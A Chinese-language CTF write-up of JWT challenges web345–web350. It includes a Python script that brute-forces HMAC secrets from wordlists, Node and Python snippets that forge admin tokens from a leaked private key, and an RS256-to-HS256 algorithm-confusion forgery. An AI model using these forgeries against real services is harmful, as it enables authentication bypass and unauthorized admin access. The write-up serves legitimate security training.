学习链接:
web345
cookie值是base64,直接base64解密,把user改为admin,然后再base64加密,放入cookie。
然后访问/admin/
。
web346
把cookie值放到上面的网站里解码,把user改为admin,然后猜测秘钥是123456,把之后的base64的jwt传入cookie,然后访问/admin/。
web347
使用pydictor,生成6位数字的字典。
python .\pydictor.py -base d --len 1 6 -o nums.txt
然后跑脚本:
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-06 16:34:57
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-06 19:34:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import jwt
import json
def runblasting(path,jwt_str,alg):
if alg == "none":
alg = "HS256"
with open(path,encoding='utf-8') as f:
for line in f:
key_ = line.strip()
print('use '+key_)
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")
if __name__ == '__main__':
runblasting('nums.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzg3NjQ4MCwiZXhwIjoxNjI3ODgzNjgwLCJuYmYiOjE2Mjc4NzY0ODAsInN1YiI6InVzZXIiLCJqdGkiOiJjMGYzODkwMmE1ODE4ZjhlMjM5Yzg3N2EwNzZmNmU5MCJ9.o68KTTbu7V2enU4dXXASeJs6rJbNbVbLtoEqC_WMqBo','HS256')
得到key是123456,在 https://jwt.io/ 改admin,输入秘钥123456,然后发送cookie,访问/admin/ 。
web348
生成1~4位的小写字母字典。
python .\pydictor.py -base L --len 1 4 -o keys.txt
用上面的脚本,爆破得秘钥aaab
。
然后在网站换admin。
web349
利用私钥生成jwt,利用公钥解密jwt,所以我们只要有私钥然后自己重新生成就可以了。
访问 /private.key 得到私钥。
运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken --save)。
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)
修改cookie后post方式访问就可以得到flag。
或者python代码得到jwt:
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
web350
访问/public.key获得公钥。
将RS256算法改为HS256(非对称密码算法=>对称密码算法):
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)